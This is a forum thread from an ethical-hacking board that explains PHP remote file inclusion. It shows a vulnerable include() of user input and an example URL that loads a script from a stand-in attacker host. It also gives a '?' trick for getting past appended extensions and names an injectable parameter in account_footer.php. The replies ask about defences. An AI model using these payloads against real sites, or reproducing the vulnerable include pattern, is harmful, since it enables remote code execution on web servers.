Basic Remote File Inclusion (RFI)

Discussion in 'Ethical hacking Tips' started by XXxxImmortalxxXX, Jul 4, 2008.

  1. XXxxImmortalxxXX

    XXxxImmortalxxXX New Member

    Joined:
    Jun 27, 2007
    Messages:
    561
    Likes Received:
    19
    Trophy Points:
    0

    Definition



    Remote file inclusion, commonly known as RFI is a form of attack where the attacker trys to inject there own php code inside your php app's. If an attacker can successfully achieve this they will be able to execute any code they wish on your webserver.

    Example



    Lets say we have a website that is coded in php, the website uses something like page=page.html to work out which page should be displayed. The code for this might look like
    Code:
    <?php
      $file =$_GET['page']; //The page we wish to display
      include($file);
    ?>
    
    hat this means is that what ever is passed down to page will get included inside this php page. This means that an attacker can simply do something like this

    Code:
    http://www.site.com/index.php?page=http://www.attackersserver.com/my_evil_script.txt?
    
    If we take a look at what is happening on the code side of things once this has been done we can see that the actual code that the web server is executing looks like this
    Code:
    <?php
      $file ="http://www.attackersserver.com/my_evil_script.txt?"; //$_GET['page'];
      include($file); //$file is the attackers script
    ?>
    
    As you can see the attacker has just managed to get his code executed on your webserver.

    Behind The Scenes



    So why can an attacker do this? Well the simple answer is because the include() function (note, this kind of attack isnt only open to the include function, require_once() will also work) allows you to link to remote files, the problem with this is that an attacker can take advantage of that feature, like you just seen. You might be wondering why the script that the attacker includes is a .txt and not a .php. The answer to this is that if the script was a .php and the attackers server had php installed then the script will get executed on the attackers server and not the target. We also add the ? at the end so we can remove anything that might be inside the include() function on the target server, take this script for example

    Code:
    <?php
      $file =$_GET['page'];
      include($file .".php");
    ?>
    
    What the above script does is add .php to anything that is passed into it. So if we passed it http://www.attackersserver.com/my_evil_script.txt then what we are actually going to see in the include() function is http://www.attackersserver.com/my_evil_script.txt.php this is bad. What this means is that we wont actually get our script executed as it doesnt exist now. So if we pass the ? on the end of the script we are going to treat the .php as if it is a var that is getting passed to the script. So now the include() function looks like http://www.attackersserver.com/my_evil_script.txt?.php and it will still get executed.

    Conclusion



    There you have it a basic tutorial on what remote file inclusion is and how/why an attacker can use it against your servers. This kind of attack, just like most attacks isnt that hard to stop if you dont trust all data that is coming into you. All you have to really remember is if the data isnt hard coded then you need to check it to make sure it does what it is meant to do. Alot of the attacks that are preformed can be stoped by a few simple checks on the data.

    enjoy

    Need help ask a question
     
  2. rider

    rider New Member

    Joined:
    Jul 10, 2008
    Messages:
    49
    Likes Received:
    0
    Trophy Points:
    0
    Home Page:
    http://hacked.ro
    nice example but you have listed only a small one ... i will show you something else: this is the vulnerability of a php file called account_footer.php.
    require_once( $sl_theme_unix_path."/account/footer.php" );
    for this we will have : http://site.com/path_to_script/account_footer.php?sl_theme_unix_path= .. but i think that you allready know that. The worst part of this is that the "hackers" who think that if they are deleting the vulnerable file will result in a secured server ... they dont know that is just a question of days until the are discovered.
     
  3. XXxxImmortalxxXX

    XXxxImmortalxxXX New Member

    Joined:
    Jun 27, 2007
    Messages:
    561
    Likes Received:
    19
    Trophy Points:
    0
  4. rider

    rider New Member

    Joined:
    Jul 10, 2008
    Messages:
    49
    Likes Received:
    0
    Trophy Points:
    0
    Home Page:
    http://hacked.ro
    You welcome :) soon i`l write a tutorial about this .. maybe some people will read it so this will make them think first of deleting files from server.
     
  5. hanleyhansen

    hanleyhansen New Member

    Joined:
    Jan 24, 2008
    Messages:
    336
    Likes Received:
    8
    Trophy Points:
    0
    Occupation:
    Drupal Developer/LAMP Developer
    Location:
    Clifton
    Home Page:
    http://www.hanseninfotech.com
    What will be a possible solution say if your index.php refers to hundreds of files? Would you have to hardcode each one in?
     
  6. XXxxImmortalxxXX

    XXxxImmortalxxXX New Member

    Joined:
    Jun 27, 2007
    Messages:
    561
    Likes Received:
    19
    Trophy Points:
    0
    what do u mean like index.php=(other files)?
     
  7. hanleyhansen

    hanleyhansen New Member

    Joined:
    Jan 24, 2008
    Messages:
    336
    Likes Received:
    8
    Trophy Points:
    0
    Occupation:
    Drupal Developer/LAMP Developer
    Location:
    Clifton
    Home Page:
    http://www.hanseninfotech.com
    What I mean is that since you said that the best security measure would be to hard code all the data in. What if its a lot of data? Is there another solution instead of hard coding hundreds of pages of data?
     

Share This Page

  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Dismiss Notice